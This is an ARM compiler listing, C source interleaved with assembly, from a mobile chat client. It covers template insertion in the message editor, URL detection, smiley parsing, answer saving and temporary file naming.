54109DE5 LDR R1,[SP, #+84] \ 00000194 3C0295E5 LDR R0,[R5, #+572] \ 00000198 210100EF SWI +289 6585 wsInsertChar(wsBuffer,'\n',wstrlen(wsBuffer)+1); \ 0000019C 3C0295E5 LDR R0,[R5, #+572] \ 000001A0 230100EF SWI +291 \ 000001A4 012080E2 ADD R2,R0,#+1 \ 000001A8 3C0295E5 LDR R0,[R5, #+572] \ 000001AC 0A10A0E3 MOV R1,#+10 \ 000001B0 1D0000EF SWI +29 \ ??ed_options_handler_13: \ 000001B4 58D08DE2 ADD SP,SP,#+88 \ 000001B8 F081BDE8 POP {R4-R8,PC} 6586 } 6587 } 6588 break; 6589 case 1: 6590 { 6591 EDITCONTROL ec; 6592 WSHDR *ws; 6593 ExtractEditControl(ed_struct->ed_chatgui,ed_struct->ed_answer,&ec); \ ??ed_options_handler_9: \ 000001BC 081094E5 LDR R1,[R4, #+8] \ 000001C0 0D20A0E1 MOV R2,SP \ 000001C4 690100EF SWI +361 6594 ws=AllocWS(ec.pWS->wsbody[0]+wsBuffer->wsbody[0]+1); \ 000001C8 28009DE5 LDR R0,[SP, #+40] \ 000001CC 3C1295E5 LDR R1,[R5, #+572] \ 000001D0 000090E5 LDR R0,[R0, #+0] \ 000001D4 001091E5 LDR R1,[R1, #+0] \ 000001D8 B000D0E1 LDRH R0,[R0, #+0] \ 000001DC B010D1E1 LDRH R1,[R1, #+0] \ 000001E0 000081E0 ADD R0,R1,R0 \ 000001E4 010080E2 ADD R0,R0,#+1 \ 000001E8 250100EF SWI +293 6595 wstrcpy(ws,ec.pWS); \ 000001EC 28109DE5 LDR R1,[SP, #+40] \ 000001F0 0060A0E1 MOV R6,R0 \ 000001F4 1F0100EF SWI +287 6596 wstrcat(ws,wsBuffer); \ 000001F8 3C1295E5 LDR R1,[R5, #+572] \ 000001FC 0600A0E1 MOV R0,R6 \ 00000200 210100EF SWI +289 6597 EDIT_SetTextToEditControl(ed_struct->ed_chatgui,ed_struct->ed_answer,ws); \ 00000204 040094E5 LDR R0,[R4, #+4] \ 00000208 081094E5 LDR R1,[R4, #+8] \ 0000020C 0620A0E1 MOV R2,R6 \ 00000210 DE0100EF SWI +478 6598 EDIT_SetCursorPos(ed_struct->ed_chatgui,wstrlen(ws)); \ 00000214 0600A0E1 MOV R0,R6 \ 00000218 230100EF SWI +291 \ 0000021C 0010A0E1 MOV R1,R0 \ 00000220 040094E5 LDR R0,[R4, #+4] \ 00000224 D40100EF SWI +468 \ 00000228 E1FFFFEA B ??ed_options_handler_13 6599 } 6600 break; 6601 case 2: 6602 CutWSTR(wsBuffer,0); \ ??ed_options_handler_10: \ 0000022C 3C0295E5 LDR R0,[R5, #+572] \ 00000230 0010A0E3 MOV R1,#+0 \ 00000234 260100EF SWI +294 \ 00000238 DDFFFFEA B ??ed_options_handler_13 6603 break; 6604 default: 6605 i-=3; 6606 if (iloaded_templates) \ ??ed_options_handler_11: \ 0000023C 101094E5 LDR R1,[R4, #+16] \ 00000240 036046E2 SUB R6,R6,#+3 \ 00000244 010056E1 CMP R6,R1 \ 00000248 350000AA BGE ??ed_options_handler_7 6607 { 6608 EDITCONTROL ec; 6609 WSHDR *ed_ws; 6610 int c; 6611 char *p=templates_lines[i]; \ 0000024C D81295E5 LDR R1,[R5, #+728] 6612 ExtractEditControl(ed_struct->ed_chatgui,ed_struct->ed_answer,&ec); \ 00000250 0D20A0E1 MOV R2,SP \ 00000254 065191E7 LDR R5,[R1, +R6, LSL #+2] \ 00000258 081094E5 LDR R1,[R4, #+8] \ 0000025C 690100EF SWI +361 6613 ed_ws=AllocWS(ec.pWS->wsbody[0]+strlen(p)); \ 00000260 0500A0E1 MOV R0,R5 \ 00000264 1B0000EF SWI +27 \ 00000268 28109DE5 LDR R1,[SP, #+40] \ 0000026C 001091E5 LDR R1,[R1, #+0] \ 00000270 B010D1E1 LDRH R1,[R1, #+0] \ 00000274 010080E0 ADD R0,R0,R1 \ 00000278 250100EF SWI +293 6614 wstrcpy(ed_ws,ec.pWS); \ 0000027C 28109DE5 LDR R1,[SP, #+40] \ 00000280 0060A0E1 MOV R6,R0 \ 00000284 1F0100EF SWI +287 6615 if (EDIT_GetFocus(ed_struct->ed_chatgui)==ed_struct->ed_answer) \ 00000288 040094E5 LDR R0,[R4, #+4] \ 0000028C 820100EF SWI +386 \ 00000290 081094E5 LDR R1,[R4, #+8] \ 00000294 010050E1 CMP R0,R1 \ 00000298 1800001A BNE ??ed_options_handler_14 6616 { 6617 int pos=EDIT_GetCursorPos(ed_struct->ed_chatgui); \ 0000029C 040094E5 LDR R0,[R4, #+4] \ 000002A0 D30100EF SWI +467 \ 000002A4 0070A0E1 MOV R7,R0 \ 000002A8 050000EA B ??ed_options_handler_15 6618 while(c=*p++) 6619 { 6620 wsInsertChar(ed_ws,char8to16(c),pos++); \ ??ed_options_handler_16: \ 000002AC ........ _BLF char8to16,??char8to16??rA \ 000002B0 0010A0E1 MOV R1,R0 \ 000002B4 0720A0E1 MOV R2,R7 \ 000002B8 0600A0E1 MOV R0,R6 \ 000002BC 1D0000EF SWI +29 \ 000002C0 017087E2 ADD R7,R7,#+1 6621 } \ ??ed_options_handler_15: \ 000002C4 ........ LDRB R0,[R5], #+1 \ 000002C8 000050E3 CMP R0,#+0 \ 000002CC F6FFFF1A BNE ??ed_options_handler_16 6622 EDIT_SetTextToEditControl(ed_struct->ed_chatgui,ed_struct->ed_answer,ed_ws); \ 000002D0 081094E5 LDR R1,[R4, #+8] \ 000002D4 040094E5 LDR R0,[R4, #+4] \ 000002D8 0620A0E1 MOV R2,R6 \ 000002DC DE0100EF SWI +478 6623 EDIT_SetCursorPos(ed_struct->ed_chatgui,pos); \ 000002E0 040094E5 LDR R0,[R4, #+4] \ 000002E4 0710A0E1 MOV R1,R7 \ 000002E8 D40100EF SWI +468 \ 000002EC 0A0000EA B ??ed_options_handler_17 6624 } 6625 else 6626 { 6627 while(c=*p++) 6628 { 6629 wsAppendChar(ed_ws,char8to16(c)); \ ??ed_options_handler_18: \ 000002F0 ........ _BLF char8to16,??char8to16??rA \ 000002F4 0010A0E1 MOV R1,R0 \ 000002F8 0600A0E1 MOV R0,R6 \ 000002FC 1C0000EF SWI +28 6630 } \ ??ed_options_handler_14: \ 00000300 ........ LDRB R0,[R5], #+1 \ 00000304 000050E3 CMP R0,#+0 \ 00000308 F8FFFF1A BNE ??ed_options_handler_18 6631 EDIT_SetTextToEditControl(ed_struct->ed_chatgui,ed_struct->ed_answer,ed_ws); \ 0000030C 081094E5 LDR R1,[R4, #+8] \ 00000310 040094E5 LDR R0,[R4, #+4] \ 00000314 0620A0E1 MOV R2,R6 \ 00000318 DE0100EF SWI +478 6632 } 6633 FreeWS(ed_ws); \ ??ed_options_handler_17: \ 0000031C 0600A0E1 MOV R0,R6 \ 00000320 290100EF SWI +297 6634 } 6635 break; 6636 #else 6637 case 0: 6638 t=FindNextActiveContact(ed_struct->ed_contact); 6639 if (t && t!=ed_struct->ed_contact) 6640 { 6641 GeneralFunc_flag1(edchat_id,1); 6642 CreateEditChat(t); 6643 } 6644 break; 6645 case 1: 6646 t=FindPrevActiveContact(ed_struct->ed_contact); 6647 if (t && t!=ed_struct->ed_contact) 6648 { 6649 GeneralFunc_flag1(edchat_id,1); 6650 CreateEditChat(t); 6651 } 6652 break; 6653 default: 6654 i-=2; 6655 if (iloaded_templates) 6656 { 6657 EDITCONTROL ec; 6658 WSHDR *ed_ws; 6659 int c; 6660 char *p=templates_lines[i]; 6661 ExtractEditControl(ed_struct->ed_chatgui,ed_struct->ed_answer,&ec); 6662 ed_ws=AllocWS(ec.pWS->wsbody[0]+strlen(p)); 6663 wstrcpy(ed_ws,ec.pWS); 6664 if (EDIT_GetFocus(ed_struct->ed_chatgui)==ed_struct->ed_answer) 6665 { 6666 int pos=EDIT_GetCursorPos(ed_struct->ed_chatgui); 6667 while(c=*p++) 6668 { 6669 wsInsertChar(ed_ws,char8to16(c),pos++); 6670 } 6671 EDIT_SetTextToEditControl(ed_struct->ed_chatgui,ed_struct->ed_answer,ed_ws); 6672 EDIT_SetCursorPos(ed_struct->ed_chatgui,pos); 6673 } 6674 else 6675 { 6676 while(c=*p++) 6677 { 6678 wsAppendChar(ed_ws,char8to16(c)); 6679 } 6680 EDIT_SetTextToEditControl(ed_struct->ed_chatgui,ed_struct->ed_answer,ed_ws); 6681 } 6682 FreeWS(ed_ws); 6683 } 6684 break; 6685 #endif 6686 } 6687 } 6688 } \ ??ed_options_handler_7: \ 00000324 58D08DE2 ADD SP,SP,#+88 ;; stack cleaning \ 00000328 F081BDE8 POP {R4-R8,PC} ;; return \ ??ed_options_handler_1: \ 0000032C ........ DC32 `?= len) 6697 { 6698 s = str; 6699 w = ws; 6700 l = len; 6701 for(; (char16to8(*w) == *s) && l; w++, s++, l--); 6702 if(!l) return ws; 6703 ws++; 6704 (*wslen)--; \ ??wstrstr_1: \ 00000018 000095E5 LDR R0,[R5, #+0] \ 0000001C 027087E2 ADD R7,R7,#+2 \ 00000020 010040E2 SUB R0,R0,#+1 \ 00000024 000085E5 STR R0,[R5, #+0] \ ??wstrstr_0: \ 00000028 000095E5 LDR R0,[R5, #+0] \ 0000002C 060050E1 CMP R0,R6 \ 00000030 0F0000BA BLT ??wstrstr_2 \ 00000034 0480A0E1 MOV R8,R4 \ 00000038 0790A0E1 MOV R9,R7 \ 0000003C 06A0A0E1 MOV R10,R6 \ 00000040 000000EA B ??wstrstr_3 \ ??wstrstr_4: \ 00000044 01A04AE2 SUB R10,R10,#+1 \ ??wstrstr_3: \ 00000048 ........ LDRH R0,[R9], #+2 \ 0000004C ........ _BLF char16to8,??char16to8??rA \ 00000050 ........ LDRB R1,[R8], #+1 \ 00000054 010050E1 CMP R0,R1 \ 00000058 0100001A BNE ??wstrstr_5 \ 0000005C 00005AE3 CMP R10,#+0 \ 00000060 F7FFFF1A BNE ??wstrstr_4 \ ??wstrstr_5: \ 00000064 00005AE3 CMP R10,#+0 \ 00000068 EAFFFF1A BNE ??wstrstr_1 \ 0000006C 0700A0E1 MOV R0,R7 \ 00000070 F087BDE8 POP {R4-R10,PC} 6705 } 6706 return 0; \ ??wstrstr_2: \ 00000074 0000A0E3 MOV R0,#+0 \ 00000078 F087BDE8 POP {R4-R10,PC} ;; return 6707 6708 } 6709 \ In segment CODE, align 4, keep-with-next 6710 int IsUrl(WSHDR *ws, int pos, char *link) 6711 { \ IsUrl: \ 00000000 F14F2DE9 PUSH {R0,R4-R11,LR} \ 00000004 04D04DE2 SUB SP,SP,#+4 \ 00000008 0150A0E1 MOV R5,R1 6712 const char *valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$-_.+!*'(),%;:@&=/?абвгдеёжзийклмнопрстуфхцчшщъыьэюяАБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ"; 6713 6714 int len = wstrlen(ws); 6715 unsigned short *str = ws->wsbody+1, *tmp, *begin; 6716 tmp = str; 6717 6718 begin = str = wstrstr(str, "http://", &len, 7); \ 0000000C ........ LDR R7,??DataTable144 ;; `?` \ 00000010 0260A0E1 MOV R6,R2 \ 00000014 230100EF SWI +291 \ 00000018 00008DE5 STR R0,[SP, #+0] \ 0000001C 04009DE5 LDR R0,[SP, #+4] \ 00000020 0730A0E3 MOV R3,#+7 \ 00000024 000090E5 LDR R0,[R0, #+0] \ 00000028 0D20A0E1 MOV R2,SP \ 0000002C 028080E2 ADD R8,R0,#+2 \ 00000030 941087E2 ADD R1,R7,#+148 \ 00000034 0800A0E1 MOV R0,R8 \ 00000038 ........ BL wstrstr \ 0000003C 00B0A0E1 MOV R11,R0 \ 00000040 0040A0E1 MOV R4,R0 \ 00000044 A890A0E1 LSR R9,R8,#+1 \ 00000048 02A045E2 SUB R10,R5,#+2 \ 0000004C 060000EA B ??IsUrl_0 6719 6720 while(str && (begin-tmp <= pos)) 6721 { 6722 while(len && strchr(valid, char16to8(*str))) {str++; len--;} 6723 if(str-tmp >= pos-2) 6724 { 6725 for(;begin < str; begin++, link++) 6726 *link = char16to8(*begin); 6727 link[str-begin] = 0; 6728 return 1; 6729 } 6730 begin = str = wstrstr(str, "http://", &len, 7); \ ??IsUrl_1: \ 00000050 0730A0E3 MOV R3,#+7 \ 00000054 0D20A0E1 MOV R2,SP \ 00000058 941087E2 ADD R1,R7,#+148 \ 0000005C 0B00A0E1 MOV R0,R11 \ 00000060 ........ BL wstrstr \ 00000064 00B0A0E1 MOV R11,R0 \ 00000068 0040A0E1 MOV R4,R0 \ ??IsUrl_0: \ 0000006C 00005BE3 CMP R11,#+0 \ 00000070 0200000A BEQ ??IsUrl_2 \ 00000074 A40069E0 RSB R0,R9,R4, LSR #+1 \ 00000078 000055E1 CMP R5,R0 \ 0000007C 0B0000AA BGE ??IsUrl_3 6731 } 6732 6733 len = wstrlen(ws); \ ??IsUrl_2: \ 00000080 04009DE5 LDR R0,[SP, #+4] \ 00000084 230100EF SWI +291 \ 00000088 00008DE5 STR R0,[SP, #+0] 6734 begin = str = wstrstr(tmp, "www.", &len, 4); \ 0000008C 0430A0E3 MOV R3,#+4 \ 00000090 0D20A0E1 MOV R2,SP \ 00000094 9C1087E2 ADD R1,R7,#+156 \ 00000098 0800A0E1 MOV R0,R8 \ 0000009C 200000EA B ??IsUrl_4 \ ??IsUrl_5: \ 000000A0 00109DE5 LDR R1,[SP, #+0] \ 000000A4 02B08BE2 ADD R11,R11,#+2 \ 000000A8 011041E2 SUB R1,R1,#+1 \ 000000AC 00108DE5 STR R1,[SP, #+0] \ ??IsUrl_3: \ 000000B0 00009DE5 LDR R0,[SP, #+0] \ 000000B4 000050E3 CMP R0,#+0 \ 000000B8 0600000A BEQ ??IsUrl_6 \ 000000BC B000DBE1 LDRH R0,[R11, #+0] \ 000000C0 ........ _BLF char16to8,??char16to8??rA \ 000000C4 0010A0E1 MOV R1,R0 \ 000000C8 0700A0E1 MOV R0,R7 \ 000000CC 180000EF SWI +24 \ 000000D0 000050E3 CMP R0,#+0 \ 000000D4 F1FFFF1A BNE ??IsUrl_5 \ ??IsUrl_6: \ 000000D8 AB0069E0 RSB R0,R9,R11, LSR #+1 \ 000000DC 0A0050E1 CMP R0,R10 \ 000000E0 DAFFFFBA BLT ??IsUrl_1 \ ??IsUrl_7: \ 000000E4 0B0054E1 CMP R4,R11 \ 000000E8 0300002A BCS ??IsUrl_8 \ 000000EC ........ LDRH R0,[R4], #+2 \ 000000F0 ........ _BLF char16to8,??char16to8??rA \ 000000F4 ........ STRB R0,[R6], #+1 \ 000000F8 F9FFFFEA B ??IsUrl_7 \ ??IsUrl_8: \ 000000FC AB00A0E1 LSR R0,R11,#+1 \ 00000100 A40040E0 SUB R0,R0,R4, LSR #+1 \ 00000104 0010A0E3 MOV R1,#+0 \ 00000108 0610C0E7 STRB R1,[R0, +R6] \ 0000010C 0100A0E3 MOV R0,#+1 \ 00000110 F68FBDE8 POP {R1,R2,R4-R11,PC} 6735 while(str && (begin-tmp <= pos)) 6736 { 6737 while(len && strchr(valid, char16to8(*str))) {str++; len--;} 6738 if(str-tmp >= pos-2) 6739 { 6740 for(;begin < str; begin++, link++) 6741 *link = char16to8(*begin); 6742 link[str-begin] = 0; 6743 return 1; 6744 } 6745 begin = str = wstrstr(str, "www.", &len, 4); \ ??IsUrl_9: \ 00000114 0430A0E3 MOV R3,#+4 \ 00000118 0D20A0E1 MOV R2,SP \ 0000011C 9C1087E2 ADD R1,R7,#+156 \ 00000120 0B00A0E1 MOV R0,R11 \ ??IsUrl_4: \ 00000124 ........ BL wstrstr \ 00000128 00B0A0E1 MOV R11,R0 \ 0000012C 0040A0E1 MOV R4,R0 \ 00000130 00005BE3 CMP R11,#+0 \ 00000134 0200000A BEQ ??IsUrl_10 \ 00000138 A40069E0 RSB R0,R9,R4, LSR #+1 \ 0000013C 000055E1 CMP R5,R0 \ 00000140 050000AA BGE ??IsUrl_11 6746 } 6747 return 0; \ ??IsUrl_10: \ 00000144 0000A0E3 MOV R0,#+0 \ 00000148 F68FBDE8 POP {R1,R2,R4-R11,PC} ;; return \ ??IsUrl_12: \ 0000014C 00109DE5 LDR R1,[SP, #+0] \ 00000150 02B08BE2 ADD R11,R11,#+2 \ 00000154 011041E2 SUB R1,R1,#+1 \ 00000158 00108DE5 STR R1,[SP, #+0] \ ??IsUrl_11: \ 0000015C 00009DE5 LDR R0,[SP, #+0] \ 00000160 000050E3 CMP R0,#+0 \ 00000164 0600000A BEQ ??IsUrl_13 \ 00000168 B000DBE1 LDRH R0,[R11, #+0] \ 0000016C ........ _BLF char16to8,??char16to8??rA \ 00000170 0010A0E1 MOV R1,R0 \ 00000174 0700A0E1 MOV R0,R7 \ 00000178 180000EF SWI +24 \ 0000017C 000050E3 CMP R0,#+0 \ 00000180 F1FFFF1A BNE ??IsUrl_12 \ ??IsUrl_13: \ 00000184 AB0069E0 RSB R0,R9,R11, LSR #+1 \ 00000188 0A0050E1 CMP R0,R10 \ 0000018C E0FFFFBA BLT ??IsUrl_9 \ ??IsUrl_14: \ 00000190 0B0054E1 CMP R4,R11 \ 00000194 D8FFFF2A BCS ??IsUrl_8 \ 00000198 ........ LDRH R0,[R4], #+2 \ 0000019C ........ _BLF char16to8,??char16to8??rA \ 000001A0 ........ STRB R0,[R6], #+1 \ 000001A4 F9FFFFEA B ??IsUrl_14 6748 } 6749 6750 #define UTF16_DIS_UNDERLINE (0xE002) 6751 #define UTF16_ENA_UNDERLINE (0xE001) 6752 \ In segment CODE, align 4, keep-with-next 6753 void ParseAnswer(WSHDR *ws, const char *s) 6754 { \ ParseAnswer: \ 00000000 F0472DE9 PUSH {R4-R10,LR} \ 00000004 0040A0E1 MOV R4,R0 6755 const char *valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$-_.+!*'(),%;:@&=/?абвгдеёжзийклмнопрстуфхцчшщъыьэюяАБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ"; 6756 S_SMILES *t; 6757 S_SMILES *t_root=(S_SMILES *)s_top; \ 00000008 10029FE5 LDR R0,??ParseAnswer_0 ;; s_top \ 0000000C 04D04DE2 SUB SP,SP,#+4 \ 00000010 006090E5 LDR R6,[R0, #+0] \ 00000014 0150A0E1 MOV R5,R1 6758 STXT_SMILES *st; 6759 unsigned int wchar; 6760 unsigned int ulb=s[0]+(s[1]<<8)+(s[2]<<16)+(s[3]<<24); \ 00000018 0000D5E5 LDRB R0,[R5, #+0] \ 0000001C 0110D5E5 LDRB R1,[R5, #+1] \ 00000020 010480E0 ADD R0,R0,R1, LSL #+8 \ 00000024 0210D5E5 LDRB R1,[R5, #+2] \ 00000028 010880E0 ADD R0,R0,R1, LSL #+16 \ 0000002C 0310D5E5 LDRB R1,[R5, #+3] \ 00000030 018C80E0 ADD R8,R0,R1, LSL #+24 6761 CutWSTR(ws,0); \ 00000034 0010A0E3 MOV R1,#+0 \ 00000038 0400A0E1 MOV R0,R4 \ 0000003C 260100EF SWI +294 \ 00000040 160000EA B ??ParseAnswer_1 6762 int i; 6763 while(wchar=*s) 6764 { 6765 if(s==strstr(s, "http://") || s == strstr(s, "www.")) 6766 { 6767 wsAppendChar(ws,UTF16_ENA_UNDERLINE); 6768 while(*s && strchr(valid, *s)) 6769 { 6770 wchar=char8to16(*s); \ ??ParseAnswer_2: \ 00000044 ........ LDRB R0,[R5], #+1 \ 00000048 ........ _BLF char8to16,??char8to16??rA 6771 wsAppendChar(ws,wchar); \ 0000004C 0010A0E1 MOV R1,R0 \ ??ParseAnswer_3: \ 00000050 0400A0E1 MOV R0,R4 \ 00000054 1C0000EF SWI +28 6772 s++; 6773 } \ 00000058 0010D5E5 LDRB R1,[R5, #+0] \ 0000005C 000051E3 CMP R1,#+0 \ 00000060 0300000A BEQ ??ParseAnswer_4 \ 00000064 0900A0E1 MOV R0,R9 \ 00000068 180000EF SWI +24 \ 0000006C 000050E3 CMP R0,#+0 \ 00000070 F3FFFF1A BNE ??ParseAnswer_2 6774 wsAppendChar(ws,UTF16_DIS_UNDERLINE); \ ??ParseAnswer_4: \ 00000074 0210A0E3 MOV R1,#+2 \ 00000078 E01C81E3 ORR R1,R1,#0xE000 \ 0000007C 0400A0E1 MOV R0,R4 \ 00000080 1C0000EF SWI +28 6775 ulb=s[0]+(s[1]<<8)+(s[2]<<16)+(s[3]<<24); \ 00000084 0000D5E5 LDRB R0,[R5, #+0] \ 00000088 0110D5E5 LDRB R1,[R5, #+1] \ 0000008C 010480E0 ADD R0,R0,R1, LSL #+8 \ 00000090 0210D5E5 LDRB R1,[R5, #+2] \ 00000094 010880E0 ADD R0,R0,R1, LSL #+16 \ 00000098 0310D5E5 LDRB R1,[R5, #+3] \ 0000009C 018C80E0 ADD R8,R0,R1, LSL #+24 6776 continue; \ ??ParseAnswer_1: \ 000000A0 0070D5E5 LDRB R7,[R5, #+0] \ 000000A4 000057E3 CMP R7,#+0 \ 000000A8 4F00000A BEQ ??ParseAnswer_5 \ 000000AC ........ LDR R9,??DataTable144 ;; `?` \ 000000B0 0500A0E1 MOV R0,R5 \ 000000B4 941089E2 ADD R1,R9,#+148 \ 000000B8 180100EF SWI +280 \ 000000BC 000055E1 CMP R5,R0 \ 000000C0 0400000A BEQ ??ParseAnswer_6 \ 000000C4 9C1089E2 ADD R1,R9,#+156 \ 000000C8 0500A0E1 MOV R0,R5 \ 000000CC 180100EF SWI +280 \ 000000D0 000055E1 CMP R5,R0 \ 000000D4 0200001A BNE ??ParseAnswer_7 \ ??ParseAnswer_6: \ 000000D8 0110A0E3 MOV R1,#+1 \ 000000DC E01C81E3 ORR R1,R1,#0xE000 \ 000000E0 DAFFFFEA B ??ParseAnswer_3 6777 } 6778 t=t_root; \ ??ParseAnswer_7: \ 000000E4 0690A0E1 MOV R9,R6 \ 000000E8 230000EA B ??ParseAnswer_8 6779 while(t) 6780 { 6781 st=t->lines; 6782 while(st) 6783 { 6784 if ((ulb&st->mask)==st->key) \ ??ParseAnswer_9: \ 000000EC 0B00DAE5 LDRB R0,[R10, #+11] \ 000000F0 0A10DAE5 LDRB R1,[R10, #+10] \ 000000F4 0620DAE5 LDRB R2,[R10, #+6] \ 000000F8 000481E1 ORR R0,R1,R0, LSL #+8 \ 000000FC 0910DAE5 LDRB R1,[R10, #+9] \ 00000100 000481E1 ORR R0,R1,R0, LSL #+8 \ 00000104 0810DAE5 LDRB R1,[R10, #+8] \ 00000108 000481E1 ORR R0,R1,R0, LSL #+8 \ 0000010C 0710DAE5 LDRB R1,[R10, #+7] \ 00000110 080000E0 AND R0,R0,R8 \ 00000114 011482E1 ORR R1,R2,R1, LSL #+8 \ 00000118 0520DAE5 LDRB R2,[R10, #+5] \ 0000011C 011482E1 ORR R1,R2,R1, LSL #+8 \ 00000120 0420DAE5 LDRB R2,[R10, #+4] \ 00000124 011482E1 ORR R1,R2,R1, LSL #+8 \ 00000128 010050E1 CMP R0,R1 \ 0000012C 0700001A BNE ??ParseAnswer_10 6785 { 6786 if (!strncmp(s,st->text,strlen(st->text))) goto L1; \ 00000130 0C008AE2 ADD R0,R10,#+12 \ 00000134 1B0000EF SWI +27 \ 00000138 0020A0E1 MOV R2,R0 \ 0000013C 0C108AE2 ADD R1,R10,#+12 \ 00000140 0500A0E1 MOV R0,R5 \ 00000144 150100EF SWI +277 \ 00000148 000050E3 CMP R0,#+0 \ 0000014C 1500000A BEQ ??ParseAnswer_11 6787 } 6788 st=st->next; \ ??ParseAnswer_10: \ 00000150 0000A0E3 MOV R0,#+0 \ ??ParseAnswer_12: \ 00000154 0A20D0E7 LDRB R2,[R0, +R10] \ 00000158 0D10A0E1 MOV R1,SP \ 0000015C 0120C0E7 STRB R2,[R0, +R1] \ 00000160 010080E2 ADD R0,R0,#+1 \ 00000164 040050E3 CMP R0,#+4 \ 00000168 F9FFFFBA BLT ??ParseAnswer_12 \ 0000016C 00A09DE5 LDR R10,[SP, #+0] 6789 } \ ??ParseAnswer_13: \ 00000170 00005AE3 CMP R10,#+0 \ 00000174 DCFFFF1A BNE ??ParseAnswer_9 6790 t=t->next; \ 00000178 009099E5 LDR R9,[R9, #+0] \ ??ParseAnswer_8: \ 0000017C 000059E3 CMP R9,#+0 \ 00000180 08A09915 LDRNE R10,[R9, #+8] \ 00000184 F9FFFF1A BNE ??ParseAnswer_13 6791 } 6792 L1: 6793 if (t) 6794 { 6795 wchar=t->uni_smile; 6796 s+=strlen(st->text); 6797 ulb=s[0]+(s[1]<<8)+(s[2]<<16)+(s[3]<<24); 6798 } 6799 else 6800 { 6801 wchar=char8to16(wchar); \ 00000188 0700A0E1 MOV R0,R7 \ 0000018C ........ _BLF char8to16,??char8to16??rA \ 00000190 0070A0E1 MOV R7,R0 6802 s++; 6803 ulb>>=8; 6804 ulb+=s[3]<<24; \ 00000194 015085E2 ADD R5,R5,#+1 \ 00000198 0300D5E5 LDRB R0,[R5, #+3] \ 0000019C 000CA0E1 LSL R0,R0,#+24 \ 000001A0 288480E0 ADD R8,R0,R8, LSR #+8 \ 000001A4 0A0000EA B ??ParseAnswer_14 6805 } \ ??ParseAnswer_11: \ 000001A8 047099E5 LDR R7,[R9, #+4] \ 000001AC 0C008AE2 ADD R0,R10,#+12 \ 000001B0 1B0000EF SWI +27 \ 000001B4 055080E0 ADD R5,R0,R5 \ 000001B8 0000D5E5 LDRB R0,[R5, #+0] \ 000001BC 0110D5E5 LDRB R1,[R5, #+1] \ 000001C0 010480E0 ADD R0,R0,R1, LSL #+8 \ 000001C4 0210D5E5 LDRB R1,[R5, #+2] \ 000001C8 010880E0 ADD R0,R0,R1, LSL #+16 \ 000001CC 0310D5E5 LDRB R1,[R5, #+3] \ 000001D0 018C80E0 ADD R8,R0,R1, LSL #+24 6806 if (wchar!=10) wsAppendChar(ws,wchar); \ ??ParseAnswer_14: \ 000001D4 0A0057E3 CMP R7,#+10 \ 000001D8 B0FFFF0A BEQ ??ParseAnswer_1 \ 000001DC 0710A0E1 MOV R1,R7 \ 000001E0 0400A0E1 MOV R0,R4 \ 000001E4 1C0000EF SWI +28 \ 000001E8 ACFFFFEA B ??ParseAnswer_1 6807 } 6808 i=ws->wsbody[0]; \ ??ParseAnswer_5: \ 000001EC 000094E5 LDR R0,[R4, #+0] \ 000001F0 B010D0E1 LDRH R1,[R0, #+0] \ 000001F4 000000EA B ??ParseAnswer_15 6809 while(i>1) 6810 { 6811 if (ws->wsbody[i--]!=13) break; 6812 ws->wsbody[0]=i; \ ??ParseAnswer_16: \ 000001F8 B010C0E1 STRH R1,[R0, #+0] \ ??ParseAnswer_15: \ 000001FC 020051E3 CMP R1,#+2 \ 00000200 F187BDB8 POPLT {R0,R4-R10,PC} \ 00000204 0120A0E1 MOV R2,R1 \ 00000208 011042E2 SUB R1,R2,#+1 \ 0000020C 822080E0 ADD R2,R0,R2, LSL #+1 \ 00000210 B020D2E1 LDRH R2,[R2, #+0] \ 00000214 0D0052E3 CMP R2,#+13 \ 00000218 F6FFFF0A BEQ ??ParseAnswer_16 6813 } 6814 } \ 0000021C F187BDE8 POP {R0,R4-R10,PC} ;; return \ ??ParseAnswer_0: \ 00000220 ........ DC32 s_top 6815 \ In segment CODE, align 4, keep-with-next 6816 void SaveAnswer(CLIST *cl, WSHDR *ws) 6817 { \ SaveAnswer: \ 00000000 30402DE9 PUSH {R4,R5,LR} \ 00000004 0040A0E1 MOV R4,R0 \ 00000008 0100A0E1 MOV R0,R1 6818 char *p=ExtractAnswer(ws); \ 0000000C ........ BL ExtractAnswer \ 00000010 0050A0E1 MOV R5,R0 6819 mfree(cl->answer); \ 00000014 900094E5 LDR R0,[R4, #+144] \ 00000018 150000EF SWI +21 6820 cl->answer=p; \ 0000001C 905084E5 STR R5,[R4, #+144] 6821 } \ 00000020 3080BDE8 POP {R4,R5,PC} ;; return 6822 6823 //links applicator 6824 6825 \ In segment CODE, align 4, keep-with-next 6826 int GetTempName(void) 6827 { \ GetTempName: \ 00000000 00402DE9 PUSH {LR} \ 00000004 10D04DE2 SUB SP,SP,#+16 6828 static const int DMonth[]={0,31,59,90,120,151,181,212,243,273,304,334,365}; 6829 unsigned long iday; 6830 TTime tt; 6831 TDate dd; 6832 GetDateTime(&dd,&tt); \ 00000008 08108DE2 ADD R1,SP,#+8 \ 0000000C 0D00A0E1 MOV R0,SP \ 00000010 B40000EF SWI +180 6833 dd.year=dd.year%100; \ 00000014 00109DE5 LDR R1,[SP, #+0] \ 00000018 84209FE5 LDR R2,??GetTempName_0 ;; 0x51eb851f \ 0000001C 92318CE0 UMULL R3,R12,R2,R1 \ 00000020 6430A0E3 MOV R3,#+100 \ 00000024 ACC2A0E1 LSR R12,R12,#+5 \ 00000028 930C0CE0 MUL R12,R3,R12 6834 iday=365*dd.year+DMonth[dd.month-1]+(dd.day - 1); 6835 iday=iday+(dd.year>>2); \ 0000002C 6D20A0E3 MOV R2,#+109 \ 00000030 0CC041E0 SUB R12,R1,R12 \ 00000034 00C08DE5 STR R12,[SP, #+0] \ 00000038 0400DDE5 LDRB R0,[SP, #+4] \ 0000003C 0C10A0E1 MOV R1,R12 \ 00000040 60C09FE5 LDR R12,??GetTempName_0+0x4 ;; ??DMonth \ 00000044 402F82E3 ORR R2,R2,#0x100 \ 00000048 00318CE0 ADD R3,R12,R0, LSL #+2 \ 0000004C 043013E5 LDR R3,[R3, #-4] 6836 if (dd.month>2||(dd.year&3)>0) \ 00000050 030050E3 CMP R0,#+3 \ 00000054 923121E0 MLA R1,R2,R1,R3 \ 00000058 0520DDE5 LDRB R2,[SP, #+5] \ 0000005C 012042E2 SUB 